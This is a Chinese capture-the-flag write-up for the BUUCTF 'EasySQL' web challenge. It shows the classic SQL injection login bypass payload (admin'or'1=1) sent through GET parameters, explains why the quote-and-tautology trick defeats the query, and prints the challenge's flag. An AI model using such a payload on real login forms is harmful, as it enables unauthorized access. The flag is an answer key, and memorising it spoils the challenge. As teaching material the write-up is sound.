[极客大挑战 2019]EasySQL【SQL注入】

题目简介

[极客大挑战 2019]EasySQL【SQL注入】_第1张图片

  • 题目名称:[极客大挑战 2019]EasySQL

  • 题目平台:BUUCTF

  • 题目类型:Web

  • 考察知识点:

  • SQL注入

解题步骤

  1. 首先启动并访问靶机,可以看到一个用户登录页面,怀疑SQL注入漏洞

[极客大挑战 2019]EasySQL【SQL注入】_第2张图片

  1. 随便输入一个用户名和密码,通过网址可以判断出该请求是get的方式

[极客大挑战 2019]EasySQL【SQL注入】_第3张图片

  1. 直接使用万能密码测试是否存在SQL注入漏洞:

username=admin'or'1=1&password=admin'or'1=1

  1. 成功获得flag:flag{df447ce1-6caf-4dc4-9bc2-692872739d81}

[极客大挑战 2019]EasySQL【SQL注入】_第4张图片

知识详解

一:SQL注入

我们来思考一下,为什么username=xxx'or'1=1&password=xxx'or'1=1可以达到SQL注入,从而直接输出表内容的目的。
假设我们的表名叫t_user,username为用户名字段,password为密码字段,只有当用户名和密码字段都正确的时候才能输出该数据的内容

SELECT * FROM t_user WHERE username = 'xxx' AND password = "xxxx"

但是我们通过在xxx后面拼接一个’号来闭合username的值,然后通过or 1 = 1 使where的条件恒等于true,上面的SQL也就变成了

SELECT * FROM t_user WHERE username='xxx'or 1 = 1 AND password='xxx'or 1 = 1

从而可以查出所有的数据。

分享网络安全学习笔记和CTF真题详解,更多内容欢迎大家关注公众号:【张甲】

你可能感兴趣的:(BUUCTF,CTF,sql,数据库,java,网络安全)